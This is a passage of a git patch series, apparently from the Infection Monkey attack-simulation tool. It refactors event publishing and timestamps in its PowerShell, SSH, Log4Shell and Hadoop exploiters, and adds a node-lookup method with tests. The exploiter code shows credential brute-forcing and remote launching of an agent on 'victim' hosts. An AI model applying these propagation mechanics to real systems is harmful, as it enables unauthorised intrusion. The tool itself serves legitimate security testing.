--- a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py @@ -16,6 +16,7 @@ LM_HASH_LIST = ["bogo_lm_1"] NT_HASH_LIST = ["bogo_nt_1", "bogo_nt_2"] bogus_servers = ["1.1.1.1:5000", "2.2.2.2:5007"] +VICTIM_IP = "10.10.10.1" mock_agent_binary_repository = MagicMock() @@ -23,7 +24,25 @@ mock_agent_binary_repository.get_agent_binary.return_value = BytesIO(b"BINARY_EX @pytest.fixture -def powershell_arguments(http_and_https_both_enabled_host): +def host_with_ip_address(http_and_https_both_enabled_host): + http_and_https_both_enabled_host.ip_addr = VICTIM_IP + return http_and_https_both_enabled_host + + +@pytest.fixture +def http_host_with_ip_address(http_only_host): + http_only_host.ip_addr = VICTIM_IP + return http_only_host + + +@pytest.fixture +def https_host_with_ip_address(https_only_host): + https_only_host.ip_addr = VICTIM_IP + return https_only_host + + +@pytest.fixture +def powershell_arguments(host_with_ip_address): options = { "credentials": { "exploit_user_list": USER_LIST, @@ -33,7 +52,7 @@ def powershell_arguments(http_and_https_both_enabled_host): }, } arguments = { - "host": http_and_https_both_enabled_host, + "host": host_with_ip_address, "servers": bogus_servers, "options": options, "current_depth": 2, @@ -63,8 +82,10 @@ def test_powershell_disabled(powershell_exploiter, powershell_arguments, powersh assert "disabled" in exploit_result.error_message -def test_powershell_http(monkeypatch, powershell_exploiter, powershell_arguments, http_only_host): - powershell_arguments["host"] = http_only_host +def test_powershell_http( + monkeypatch, powershell_exploiter, powershell_arguments, http_host_with_ip_address +): + powershell_arguments["host"] = http_host_with_ip_address mock_powershell_client = MagicMock() monkeypatch.setattr( @@ -77,7 +98,7 @@ def test_powershell_http(monkeypatch, powershell_exploiter, powershell_arguments assert not call_args[0][2].ssl -def test_powershell_https(monkeypatch, powershell_exploiter, powershell_arguments, https_only_host): +def test_powershell_https(monkeypatch, powershell_exploiter, powershell_arguments): mock_powershell_client = MagicMock() mock_powershell_client.connect = MagicMock(side_effect=Exception("Failed login")) mock_powershell_client_constructor = MagicMock(return_value=mock_powershell_client) @@ -191,11 +212,11 @@ def test_build_monkey_execution_command(): def test_skip_http_only_logins( - monkeypatch, powershell_exploiter, powershell_arguments, https_only_host + monkeypatch, powershell_exploiter, powershell_arguments, https_host_with_ip_address ): # Only HTTPS is enabled on the destination, so we should never try to connect with "" empty # password, since connection with empty password requires SSL == False. - powershell_arguments["host"] = https_only_host + powershell_arguments["host"] = https_host_with_ip_address mock_powershell_client = MagicMock() mock_powershell_client.connect = MagicMock(side_effect=Exception("Failed login")) From 39bada5bb19196bb4f8f56feccf85decfe0cb828 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 5 Oct 2022 12:17:16 -0400 Subject: [PATCH 098/144] Agent: Move assignment outside of try/except --- monkey/infection_monkey/exploit/powershell.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 369ca151d..a4b2a66a8 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -82,13 +82,13 @@ class PowerShellExploiter(HostExploiter): try: self._execute_monkey_agent_on_victim() - self.exploit_result.propagation_success = True except Exception as ex: self._publish_propagation_event(self.host.ip_addr, False, PROPAGATION_TAGS, str(ex)) logger.error(f"Failed to propagate to the remote host: {ex}") self.exploit_result.error_message = str(ex) return self.exploit_result + self.exploit_result.propagation_success = True self._publish_propagation_event(self.host.ip_addr, True, PROPAGATION_TAGS) return self.exploit_result From 52380a25135ee0b67bde29a76ef56870531d0eb7 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 6 Oct 2022 09:51:14 -0400 Subject: [PATCH 099/144] Agent: Publish exploitation event on unexpected SSH exception --- monkey/infection_monkey/exploit/sshexec.py | 18 ++++++++++++++++-- 1 file changed, 16 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 9d88c0472..233a718ec 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -118,7 +118,14 @@ class SSHExploiter(HostExploiter): self.report_login_attempt(False, user, ssh_key=ssh_string) continue except Exception as err: - logger.error(f"Unknown error while attempting to login with ssh key: {err}") + error_message = ( + f"Unexpected error while attempting to login to {ssh_string} with ssh key: " + f"{err}" + ) + logger.error(error_message) + self._publish_exploitation_event(timestamp, False, error_message=error_message) + self.report_login_attempt(False, user, ssh_key=ssh_string) + raise FailedExploitationError def exploit_with_login_creds(self, port: int) -> paramiko.SSHClient: @@ -167,7 +174,14 @@ class SSHExploiter(HostExploiter): ssh.close() continue except Exception as err: - logger.error(f"Unknown error occurred while trying to login to ssh: {err}") + error_message = ( + f"Unexpected error while attempting to login to {self.host} with password: " + f"{err}" + ) + logger.error(error_message) + self._publish_exploitation_event(timestamp, False, error_message=error_message) + self.report_login_attempt(False, user, current_password) + raise FailedExploitationError def _exploit_host(self) -> ExploiterResultData: From c980bfd9153d6c1e53ba058c15c07a7dd1ab7efc Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 6 Oct 2022 09:57:11 -0400 Subject: [PATCH 100/144] Agent: Move timestamp closer to ssh.exec_command() --- monkey/infection_monkey/exploit/sshexec.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 233a718ec..0382f99ce 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -248,11 +248,11 @@ class SSHExploiter(HostExploiter): if status == ScanStatus.SCANNED: raise FailedExploitationError(self.exploit_result.error_message) - timestamp = time() try: cmdline = f"{monkey_path_on_victim} {MONKEY_ARG}" cmdline += build_monkey_commandline(self.servers, self.current_depth + 1) cmdline += " > /dev/null 2>&1 &" + timestamp = time() ssh.exec_command(cmdline, timeout=SSH_EXEC_TIMEOUT) logger.info( From ac11d159feb75bc7e2ed9bf9ec3e6c3ab2e00e79 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 6 Oct 2022 16:03:15 +0200 Subject: [PATCH 101/144] Agent: Revise Powershell publishing of events --- monkey/infection_monkey/exploit/powershell.py | 37 +++++++++++-------- 1 file changed, 22 insertions(+), 15 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index a4b2a66a8..ff1e6d785 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -1,5 +1,6 @@ import logging from pathlib import Path, PurePath +from time import time from typing import List, Optional from common import OperatingSystem @@ -27,12 +28,6 @@ from infection_monkey.utils.threading import interruptible_iter logger = logging.getLogger(__name__) POWERSHELL_EXPLOITER_TAG = "powershell-exploiter" -EXPLOITER_TAGS = (POWERSHELL_EXPLOITER_TAG, T1059_ATTACK_TECHNIQUE_TAG, T1110_ATTACK_TECHNIQUE_TAG) -PROPAGATION_TAGS = ( - POWERSHELL_EXPLOITER_TAG, - T1059_ATTACK_TECHNIQUE_TAG, - T1105_ATTACK_TECHNIQUE_TAG, -) class RemoteAgentCopyError(Exception): @@ -46,6 +41,17 @@ class RemoteAgentExecutionError(Exception): class PowerShellExploiter(HostExploiter): _EXPLOITED_SERVICE = "PowerShell Remoting (WinRM)" + _EXPLOITER_TAGS = ( + POWERSHELL_EXPLOITER_TAG, + T1059_ATTACK_TECHNIQUE_TAG, + T1110_ATTACK_TECHNIQUE_TAG, + ) + _PROPAGATION_TAGS = ( + POWERSHELL_EXPLOITER_TAG, + T1059_ATTACK_TECHNIQUE_TAG, + T1105_ATTACK_TECHNIQUE_TAG, + ) + def __init__(self): super().__init__() self._client = None @@ -80,16 +86,19 @@ class PowerShellExploiter(HostExploiter): ) return self.exploit_result + timestamp = time() try: self._execute_monkey_agent_on_victim() - except Exception as ex: - self._publish_propagation_event(self.host.ip_addr, False, PROPAGATION_TAGS, str(ex)) - logger.error(f"Failed to propagate to the remote host: {ex}") - self.exploit_result.error_message = str(ex) + except Exception as err: + self.exploit_result.error_message = f"Failed to propagate to the remote host: {err}" + self._publish_propagation_event( + time=timestamp, success=False, error_message=self.exploit_result.error_message + ) + logger.error(self.exploit_result.error_message) return self.exploit_result self.exploit_result.propagation_success = True - self._publish_propagation_event(self.host.ip_addr, True, PROPAGATION_TAGS) + self._publish_propagation_event(timestamp, True) return self.exploit_result @@ -116,7 +125,7 @@ class PowerShellExploiter(HostExploiter): f"{creds.username}, Secret Type: {creds.secret_type.name}" ) - self._publish_exploitation_event(self.host.ip_addr, True, EXPLOITER_TAGS) + self._publish_exploitation_event(success=True) self.exploit_result.exploitation_success = True self._report_login_attempt(True, creds) @@ -127,9 +136,7 @@ class PowerShellExploiter(HostExploiter): f"{creds.username}, SecretType: {creds.secret_type.name} -- Error: {ex}" ) logger.debug(error_message) - self._publish_exploitation_event( - self.host.ip_addr, False, EXPLOITER_TAGS, error_message - ) + self._publish_exploitation_event(success=False, error_message=error_message) self._report_login_attempt(False, creds) return None From c4573673ce4819a406794783346385d7e0d10d0d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 6 Oct 2022 12:39:11 -0400 Subject: [PATCH 102/144] Agent: Rename timestamp -> execute_agent_timestamp --- monkey/infection_monkey/exploit/powershell.py | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index ff1e6d785..d3c9b12f7 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -86,19 +86,21 @@ class PowerShellExploiter(HostExploiter): ) return self.exploit_result - timestamp = time() + execute_agent_timestamp = time() try: self._execute_monkey_agent_on_victim() except Exception as err: self.exploit_result.error_message = f"Failed to propagate to the remote host: {err}" self._publish_propagation_event( - time=timestamp, success=False, error_message=self.exploit_result.error_message + time=execute_agent_timestamp, + success=False, + error_message=self.exploit_result.error_message, ) logger.error(self.exploit_result.error_message) return self.exploit_result self.exploit_result.propagation_success = True - self._publish_propagation_event(timestamp, True) + self._publish_propagation_event(time=execute_agent_timestamp, success=True) return self.exploit_result From 65dd386603ac175b29e53145797f29df1a79f421 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 6 Oct 2022 12:39:37 -0400 Subject: [PATCH 103/144] Agent: Collect timestamp before powershell connect --- monkey/infection_monkey/exploit/powershell.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index d3c9b12f7..b8efce04b 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -121,13 +121,14 @@ class PowerShellExploiter(HostExploiter): try: client = PowerShellClient(self.host.ip_addr, creds, opts) + connect_timestamp = time() client.connect() logger.info( f"Successfully logged into {self.host.ip_addr} using Powershell. User: " f"{creds.username}, Secret Type: {creds.secret_type.name}" ) - self._publish_exploitation_event(success=True) + self._publish_exploitation_event(time=connect_timestamp, success=True) self.exploit_result.exploitation_success = True self._report_login_attempt(True, creds) @@ -138,7 +139,9 @@ class PowerShellExploiter(HostExploiter): f"{creds.username}, SecretType: {creds.secret_type.name} -- Error: {ex}" ) logger.debug(error_message) - self._publish_exploitation_event(success=False, error_message=error_message) + self._publish_exploitation_event( + time=connect_timestamp, success=False, error_message=error_message + ) self._report_login_attempt(False, creds) return None From 8e3bf96589c43748357bf1a5b227420c3b778405 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 6 Oct 2022 12:40:50 -0400 Subject: [PATCH 104/144] Agent: Convert plaintext to str() get_plaintext() can return bytes. Convert the output to a str in PowershellClient to avoid potential issues. --- .../exploit/powershell_utils/powershell_client.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py index cb8eec010..7e0c05dde 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py +++ b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py @@ -43,7 +43,7 @@ def format_password(credentials: Credentials) -> Optional[str]: if credentials.secret_type == SecretType.CACHED: return None - plaintext_secret = get_plaintext(credentials.secret) + plaintext_secret = str(get_plaintext(credentials.secret)) if credentials.secret_type == SecretType.PASSWORD: return plaintext_secret From d8fca72f28044752773b17d8e9c1ba9d93d378a4 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 6 Oct 2022 16:41:20 -0400 Subject: [PATCH 105/144] Agent: Publish all prop/exploit events from _wait_for_victim() --- monkey/infection_monkey/exploit/log4shell.py | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 780665047..4bb2c2777 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -181,7 +181,9 @@ class Log4ShellExploiter(WebRCE): victim_called_back = self._wait_for_victim_to_download_java_bytecode() if victim_called_back: self._publish_exploitation_event(timestamp, True) - self._wait_for_victim_to_download_agent() + + victim_downloaded_agent = self._wait_for_victim_to_download_agent() + self._publish_propagation_event(success=victim_downloaded_agent) else: error_message = "Timed out while waiting for victim to download the java bytecode" logger.debug(error_message) @@ -202,15 +204,16 @@ class Log4ShellExploiter(WebRCE): return False - def _wait_for_victim_to_download_agent(self): + def _wait_for_victim_to_download_agent(self) -> bool: timer = Timer() timer.set(LONG_REQUEST_TIMEOUT) while not timer.is_expired(): if self._agent_http_server_thread.downloads > 0: - self._publish_propagation_event(success=True) self.exploit_result.propagation_success = True - break + return True # TODO: if the http server got an error we're waiting for nothing here time.sleep(1) + + return False From 6bd7042444c602f205657f275db6a535cf5507d5 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 6 Oct 2022 16:42:33 -0400 Subject: [PATCH 106/144] Agent: Add VICTIM_WAIT_SLEEP_TIME_SEC constant in log4shell exlpoiter --- monkey/infection_monkey/exploit/log4shell.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 4bb2c2777..a3af75372 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -28,6 +28,7 @@ from infection_monkey.utils.threading import interruptible_iter logger = logging.getLogger(__name__) LOG4SHELL_EXPLOITER_TAG = "log4shell-exploiter" +VICTIM_WAIT_SLEEP_TIME_SEC = 1 class Log4ShellExploiter(WebRCE): @@ -200,7 +201,7 @@ class Log4ShellExploiter(WebRCE): self.exploit_result.exploitation_success = True return True - time.sleep(1) + time.sleep(VICTIM_WAIT_SLEEP_TIME_SEC) return False @@ -214,6 +215,6 @@ class Log4ShellExploiter(WebRCE): return True # TODO: if the http server got an error we're waiting for nothing here - time.sleep(1) + time.sleep(VICTIM_WAIT_SLEEP_TIME_SEC) return False From 7bc9993c6f3ab78a5ab294c874ace0259c3d6b77 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 6 Oct 2022 16:43:05 -0400 Subject: [PATCH 107/144] Agent: Reduce VICTIM_WAIT_SLEEP_TIME_SEC to 0.050 seconds 1 second is a long time to wait, and we want our event timestamps to be more accurate. 0.050 is 10 x sys.getswitchinterval(). It's reasonably accurate but will also share the CPU nicely. --- monkey/infection_monkey/exploit/log4shell.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index a3af75372..47d2e7db4 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -28,7 +28,7 @@ from infection_monkey.utils.threading import interruptible_iter logger = logging.getLogger(__name__) LOG4SHELL_EXPLOITER_TAG = "log4shell-exploiter" -VICTIM_WAIT_SLEEP_TIME_SEC = 1 +VICTIM_WAIT_SLEEP_TIME_SEC = 0.050 class Log4ShellExploiter(WebRCE): From eac30768289c98ff7767b5516110574cde7bc7ba Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 6 Oct 2022 16:50:05 -0400 Subject: [PATCH 108/144] Agent: Change typehint for build_monkey_commandline's location The function can handle str, PurePath, or None. This typehint change reflects that capability --- monkey/infection_monkey/utils/commands.py | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/utils/commands.py b/monkey/infection_monkey/utils/commands.py index c290b3893..c8e1ad695 100644 --- a/monkey/infection_monkey/utils/commands.py +++ b/monkey/infection_monkey/utils/commands.py @@ -1,4 +1,5 @@ -from typing import List, Optional +from pathlib import PurePath +from typing import List, Optional, Union from infection_monkey.config import GUID from infection_monkey.exploit.tools.helpers import AGENT_BINARY_PATH_LINUX, AGENT_BINARY_PATH_WIN64 @@ -9,7 +10,9 @@ DROPPER_TARGET_PATH_LINUX = AGENT_BINARY_PATH_LINUX DROPPER_TARGET_PATH_WIN64 = AGENT_BINARY_PATH_WIN64 -def build_monkey_commandline(servers: List[str], depth: int, location: Optional[str] = None) -> str: +def build_monkey_commandline( + servers: List[str], depth: int, location: Union[str, PurePath, None] = None +) -> str: return " " + " ".join( build_monkey_commandline_explicitly( @@ -25,7 +28,7 @@ def build_monkey_commandline_explicitly( parent: Optional[str] = None, servers: Optional[List[str]] = None, depth: Optional[int] = None, - location: Optional[str] = None, + location: Union[str, PurePath, None] = None, ) -> List[str]: cmdline = [] From 03c6c5ea4b53a041511d40f0ba7ddf463467c832 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 6 Oct 2022 16:51:14 -0400 Subject: [PATCH 109/144] Agent: Remove unnecessary Path -> str in Log4ShellExploiter --- monkey/infection_monkey/exploit/log4shell.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 47d2e7db4..a79554271 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -126,9 +126,7 @@ class Log4ShellExploiter(WebRCE): def _build_command(self, path: PurePath, http_path) -> str: # Build command to execute - monkey_cmd = build_monkey_commandline( - self.servers, self.current_depth + 1, location=str(path) - ) + monkey_cmd = build_monkey_commandline(self.servers, self.current_depth + 1, location=path) if self.host.is_windows(): base_command = LOG4SHELL_WINDOWS_COMMAND else: From ead979c6caf00f32dc475ed84b8cece1d117e572 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 6 Oct 2022 16:54:02 -0400 Subject: [PATCH 110/144] Agent: Add T1110 to Log4Shell exploiter tags --- monkey/infection_monkey/exploit/log4shell.py | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index a79554271..262915530 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -4,7 +4,11 @@ from pathlib import PurePath from common import OperatingSystem from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT -from common.tags import T1105_ATTACK_TECHNIQUE_TAG, T1203_ATTACK_TECHNIQUE_TAG +from common.tags import ( + T1105_ATTACK_TECHNIQUE_TAG, + T1110_ATTACK_TECHNIQUE_TAG, + T1203_ATTACK_TECHNIQUE_TAG, +) from common.utils import Timer from infection_monkey.exploit.log4shell_utils import ( LINUX_EXPLOIT_TEMPLATE_PATH, @@ -36,7 +40,11 @@ class Log4ShellExploiter(WebRCE): SERVER_SHUTDOWN_TIMEOUT = LONG_REQUEST_TIMEOUT REQUEST_TO_VICTIM_TIMEOUT = MEDIUM_REQUEST_TIMEOUT - _EXPLOITER_TAGS = (LOG4SHELL_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG) + _EXPLOITER_TAGS = ( + LOG4SHELL_EXPLOITER_TAG, + T1110_ATTACK_TECHNIQUE_TAG, + T1203_ATTACK_TECHNIQUE_TAG, + ) _PROPAGATION_TAGS = ( LOG4SHELL_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG, From 9c2cdf15e2ed648ca204c66a4708411170f21751 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 6 Oct 2022 17:01:06 -0400 Subject: [PATCH 111/144] Agent: Add TODO in Log4ShellExploiter --- monkey/infection_monkey/exploit/log4shell.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 262915530..95fb7952d 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -174,9 +174,10 @@ class Log4ShellExploiter(WebRCE): ) logger.warning(error_message) - self._publish_exploitation_event(timestamp, False, error_message=error_message) + # TODO: _wait_for_victim() gets called even if trigger_exploit() raises an + # exception. Is that the desired behavior? if self._wait_for_victim(timestamp): self.exploit_info["vulnerable_service"] = { "service_name": exploit.service_name, From be4ecccdcdef0104d2aa5ad6a459b4bf604df53f Mon Sep 17 00:00:00 2001 From: vakarisz Date: Fri, 7 Oct 2022 10:05:06 +0300 Subject: [PATCH 112/144] Island: Refactor get_node_by_id to raise UnknownRecordError --- .../scan_event_handler.py | 7 +---- .../cc/repository/i_node_repository.py | 9 ++++++ .../cc/repository/mongo_node_repository.py | 30 +++++++++---------- .../test_scan_event_handler.py | 5 ++-- .../repository/test_mongo_node_repository.py | 10 +++++++ 5 files changed, 38 insertions(+), 23 deletions(-) diff --git a/monkey/monkey_island/cc/agent_event_handlers/scan_event_handler.py b/monkey/monkey_island/cc/agent_event_handlers/scan_event_handler.py index 8c769a470..f3482b891 100644 --- a/monkey/monkey_island/cc/agent_event_handlers/scan_event_handler.py +++ b/monkey/monkey_island/cc/agent_event_handlers/scan_event_handler.py @@ -65,12 +65,7 @@ class ScanEventHandler: def _get_source_node(self, event: AbstractAgentEvent) -> Node: machine = self._get_source_machine(event) - try: - return [ - node for node in self._node_repository.get_nodes() if node.machine_id == machine.id - ][0] - except IndexError: - raise UnknownRecordError(f"Source node for event {event} does not exist") + return self._node_repository.get_node_by_machine_id(machine.id) def _get_target_machine(self, event: ScanEvent) -> Machine: try: diff --git a/monkey/monkey_island/cc/repository/i_node_repository.py b/monkey/monkey_island/cc/repository/i_node_repository.py index 181cd185e..157c9274c 100644 --- a/monkey/monkey_island/cc/repository/i_node_repository.py +++ b/monkey/monkey_island/cc/repository/i_node_repository.py @@ -44,6 +44,15 @@ class INodeRepository(ABC): :raises RetrievalError: If an error occurs while attempting to retrieve the nodes """ + @abstractmethod + def get_node_by_machine_id(self, machine_id: MachineID) -> Node: + """ + Fetches network Node from the database based on Machine id + :param machine_id: ID of a Machine that Node represents + :return: network Node that represents the Machine + :raises UnknownRecordError: If the Node does not exist + """ + @abstractmethod def reset(self): """ diff --git a/monkey/monkey_island/cc/repository/mongo_node_repository.py b/monkey/monkey_island/cc/repository/mongo_node_repository.py index b406b8fad..befc81632 100644 --- a/monkey/monkey_island/cc/repository/mongo_node_repository.py +++ b/monkey/monkey_island/cc/repository/mongo_node_repository.py @@ -1,12 +1,12 @@ from copy import deepcopy -from typing import Optional, Sequence +from typing import Sequence from pymongo import MongoClient from monkey_island.cc.models import CommunicationType, MachineID, Node from ..models.node import TCPConnections -from . import INodeRepository, RemovalError, RetrievalError, StorageError +from . import INodeRepository, RemovalError, RetrievalError, StorageError, UnknownRecordError from .consts import MONGO_OBJECT_ID_KEY UPSERT_ERROR_MESSAGE = "An error occurred while attempting to upsert a node" @@ -21,16 +21,14 @@ class MongoNodeRepository(INodeRepository): self, src: MachineID, dst: MachineID, communication_type: CommunicationType ): try: - node = self._get_node_by_id(src) - except Exception as err: - raise StorageError(f"{UPSERT_ERROR_MESSAGE}: {err}") - - if node is None: - updated_node = Node(machine_id=src, connections={dst: frozenset((communication_type,))}) - else: + node = self.get_node_by_machine_id(src) updated_node = MongoNodeRepository._add_connection_to_node( node, dst, communication_type ) + except UnknownRecordError: + updated_node = Node(machine_id=src, connections={dst: frozenset((communication_type,))}) + except Exception as err: + raise StorageError(f"{UPSERT_ERROR_MESSAGE}: {err}") self._upsert_node(updated_node) @@ -49,9 +47,9 @@ class MongoNodeRepository(INodeRepository): return new_node def upsert_tcp_connections(self, machine_id: MachineID, tcp_connections: TCPConnections): - node = self._get_node_by_id(machine_id) - - if node is None: + try: + node = self.get_node_by_machine_id(machine_id) + except UnknownRecordError: node = Node(machine_id=machine_id, connections={}) for target, connections in tcp_connections.items(): @@ -75,11 +73,13 @@ class MongoNodeRepository(INodeRepository): f"node, but no nodes were inserted" ) - def _get_node_by_id(self, node_id: MachineID) -> Optional[Node]: + def get_node_by_machine_id(self, machine_id: MachineID) -> Node: node_dict = self._nodes_collection.find_one( - {SRC_FIELD_NAME: node_id}, {MONGO_OBJECT_ID_KEY: False} + {SRC_FIELD_NAME: machine_id}, {MONGO_OBJECT_ID_KEY: False} ) - return Node(**node_dict) if node_dict else None + if not node_dict: + raise UnknownRecordError(f"Node with machine ID {machine_id}") + return Node(**node_dict) def get_nodes(self) -> Sequence[Node]: try: diff --git a/monkey/tests/unit_tests/monkey_island/cc/agent_event_handlers/test_scan_event_handler.py b/monkey/tests/unit_tests/monkey_island/cc/agent_event_handlers/test_scan_event_handler.py index e00896e3f..673f8293c 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/agent_event_handlers/test_scan_event_handler.py +++ b/monkey/tests/unit_tests/monkey_island/cc/agent_event_handlers/test_scan_event_handler.py @@ -221,6 +221,7 @@ def test_handle_tcp_scan_event__ports_found( ): event = TCP_SCAN_EVENT scan_event_handler._update_nodes = MagicMock() + node_repository.get_node_by_machine_id.return_value = SOURCE_NODE scan_event_handler.handle_tcp_scan_event(event) call_args = node_repository.upsert_tcp_connections.call_args[0] @@ -235,12 +236,12 @@ def test_handle_tcp_scan_event__no_source( caplog, scan_event_handler, machine_repository, node_repository ): event = TCP_SCAN_EVENT - node_repository.get_nodes.return_value = [] + node_repository.get_node_by_machine_id = MagicMock(side_effect=UnknownRecordError("no source")) scan_event_handler._update_nodes = MagicMock() scan_event_handler.handle_tcp_scan_event(event) assert "ERROR" in caplog.text - assert f"Source node for event {event} does not exist" in caplog.text + assert "no source" in caplog.text @pytest.mark.parametrize( diff --git a/monkey/tests/unit_tests/monkey_island/cc/repository/test_mongo_node_repository.py b/monkey/tests/unit_tests/monkey_island/cc/repository/test_mongo_node_repository.py index fa95043d6..bf4968406 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/repository/test_mongo_node_repository.py +++ b/monkey/tests/unit_tests/monkey_island/cc/repository/test_mongo_node_repository.py @@ -11,6 +11,7 @@ from monkey_island.cc.repository import ( RemovalError, RetrievalError, StorageError, + UnknownRecordError, ) TARGET_MACHINE_IP = "2.2.2.2" @@ -239,3 +240,12 @@ def test_upsert_tcp_connections__node_missing(node_repository): nodes = node_repository.get_nodes() modified_node = [node for node in nodes if node.machine_id == 999][0] assert set(modified_node.tcp_connections) == set(TCP_CONNECTION_PORT_80) + + +def test_get_node_by_machine_id(node_repository): + assert node_repository.get_node_by_machine_id(1) == NODES[0] + + +def test_get_node_by_machine_id__no_node(node_repository): + with pytest.raises(UnknownRecordError): + node_repository.get_node_by_machine_id(999) From fe864792f3db6b6264c9425a109c3484d7fdc9de Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 4 Oct 2022 13:05:10 +0200 Subject: [PATCH 113/144] Agent: Publish Propagation and Exploitation events from Hadoop --- monkey/infection_monkey/exploit/hadoop.py | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 1b7c54470..4fdd308a2 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -40,11 +40,19 @@ class HadoopExploiter(WebRCE): urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS) self.add_vulnerable_urls(urls, True) if not self.vulnerable_urls: + self.publish_exploitation_event( + target=self.host.ip_addr, + exploitation_success=False, + ) return self.exploit_result try: monkey_path_on_victim = get_agent_dst_path(self.host) except KeyError: + self.publish_exploitation_event( + target=self.host.ip_addr, + exploitation_success=False, + ) return self.exploit_result http_path, http_thread = HTTPTools.create_locked_transfer( @@ -58,6 +66,12 @@ class HadoopExploiter(WebRCE): self.add_executed_cmd(command) self.exploit_result.exploitation_success = True self.exploit_result.propagation_success = True + + self.publish_exploitation_event( + target=self.host.ip_addr, + exploitation_success=True, + ) + self.publish_propagation_event(target=self.host.ip_addr, propagation_success=True) finally: http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.stop() From 9c185a3a785419b33d7b0ee27a07be51bda3c797 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 4 Oct 2022 16:39:10 +0200 Subject: [PATCH 114/144] Agent: Add tags and error messages in Hadoop --- monkey/infection_monkey/exploit/hadoop.py | 19 ++++++++++++++++++- 1 file changed, 18 insertions(+), 1 deletion(-) diff --git 